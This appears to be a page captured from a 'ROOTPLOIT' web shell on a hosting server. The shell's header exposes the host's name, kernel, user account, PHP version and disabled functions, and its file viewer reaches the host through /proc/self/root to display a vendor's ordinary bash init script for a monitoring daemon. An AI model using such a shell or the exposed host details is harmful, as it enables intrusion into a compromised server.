ROOTPLOIT
Server: Apache
System: Linux node6122.myfcloud.com 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User: bashacomputer (1004)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: //proc/self/root/opt/fastcomet/nightwatch/Extras/init/nightwatch.generic.sh
#!/bin/bash

SUCCESS="\E[32;40mSuccess\E[0m"
FAILED="\E[31;40mFailed\E[0m"

LV="/opt/fastcomet/nightwatch/Fastcomet/Nightwatch.pl"

case "$1" in
	start)
		echo -n $"Starting nightwatch: "
		$LV
		RET=$?
		[ $RET -eq 0 ] && echo -e $SUCCESS || echo -e $FAILED
		exit $RET
	;;
	debug)
		echo -n $"Starting nightwatch (With Debug Flag): "
		$LV Debug
		RET=$?
		[ $RET -eq 0 ] && echo -e $SUCCESS || echo -e $FAILED
		exit $RET
	;;
	stop)
		echo -n $"Stopping nightwatch: "
		kill `cat /var/run/nightwatch.pid` 2>/dev/null
		RET=$?
		[ $RET -eq 0 ] && echo -e $SUCCESS || echo -e $FAILED
		exit $RET
	;;
	restart)
		$0 stop
		$0 start
	;;
	status)
		[ ! -e /var/run/nightwatch.pid ] && echo "No nightwatch pid file: status unknown" && exit 1
		PID=`cat /var/run/nightwatch.pid`
		grep "fastcomet-nightwatch" "/proc/$PID/cmdline" 2>/dev/null
		RET=$?
		[ $RET -eq 0 ] && echo "Nightwatch is running" || echo "Nightwatch is not running"
		exit $RET
	;;
	*)
		echo $"Usage: $0 {start|stop|restart|status}"
	;;
esac